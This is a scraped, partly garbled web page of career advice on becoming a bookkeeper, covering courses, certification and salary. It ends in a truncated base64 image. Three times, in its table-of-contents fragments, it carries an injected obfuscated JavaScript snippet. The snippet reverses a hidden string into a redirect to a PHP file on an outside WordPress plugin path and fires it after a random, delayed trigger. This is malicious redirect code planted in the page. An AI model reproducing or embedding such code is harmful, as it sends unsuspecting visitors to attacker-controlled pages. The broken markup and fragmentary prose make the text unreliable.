tom: 1em;padding: 1em;width: 350px;”>

$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toc_list”>

  • $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toc-1″>How To Get Started As A Bookkeeper
  • $NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toc-3″>Bookkeeper Career & Salary
  • to;’ src=”https://www.bookstime.com/wp-content/uploads/2021/12/5045746b-ce62-47a8-aac5-a03cf19d0ccf-300×200.jpg” width=”251px” alt=”how to become a bookkeeper”/>

    They may also monitor loans and accounts to ensure that payments are up to date. Accounting clerks typically work for larger companies and have more specialized tasks.

    • Bookkeeping certificate programs last anywhere between a few weeks and a couple of months.
    • Depending on the association, you’ll need 1 to 2 years of professional experience and a 2-year degree to take the exam.
    • Receptionist is a person employed to greet telephone callers, visitors, patients, or clients.
    • That will get them started with the Bookkeeper Business Launch lessons.
    • You might be wondering why a business would hire a remote bookkeeper with no experience.

    That’s why I recommend the Bookkeepers course, the program is designed to help people who don’t know anything about bookkeeping or running a business. Some people get their first bookkeeping role with a high school qualification, then learn everything else on the job. Most bookkeeping qualifications are at diploma or certificate level. Freelance bookkeepers and those who own their own bookkeeping businesses to become a bookkeeper often report that the variety and types of business and organizations they support is one of the best parts of bookkeeping. This post details how to start a bookkeeping business, and find and grow clients. Udemy is an online educational platform that offers thousands of courses on hundreds of subjects, including bookkeeping. These courses are typically inexpensive, between $50 and $100 on average.

    to learn the technology as well as learning how to do bookkeeping. Bookkeepers use accounting software and bookkeeping software to oversee and record financial transactions, financial statements, and financial data. Bookkeepers prepare bank deposits, financial documents, annual financial reports, and income statements. The majority of bookkeepers are employed by an accounting, tax preparation, bookkeeping, and payroll services company, in effect working as a temp for individual business as required. Others work for real estate companies, investment corporations, and businesses which provide office administrative services. Virtually every business needs a bookkeeper, so the range of possible employers is vast.

    to;’ src=”https://www.bookstime.com/wp-content/uploads/2021/03/66b0f4e9-4bc3-45bb-8797-bf0b5f18fac7-300×200.jpg” width=”255px” alt=”how to become a bookkeeper”/>

    According to ZipRecruiter, the average annual pay for a bookkeeper in the United States is over $58,000, with high earners making over $100,000. A bookkeeper’s job description often depends on the size of the business they work for. Very small businesses may need a bookkeeper only a few hours a month to manage bank account statements, pay expenditures and reconcile income and deposits, and may not staff a bookkeeper full time.

    to become a bookkeeper is to attend night school. If you’re in high school, the best way to prepare is by taking subjects in math and English. Get information on programs by entering your zip code and request enrollment information. Once you complete this course, you will understand how to get your finances in order and be prepared for the QuickBooks Certified User Exam. Cash coding , customizable reports (with formulas!), smart bank reconciliations, find and recode, Hubdoc integrations , and much more makes working with the data easy and efficient. You are responsible for your success, both in this program and in your life. If you are not radically responsible for your own transformation and you’re unsure of the value of this program, now is not the right time for you to invest.

    to;’ src=”data:image/jpeg;base64,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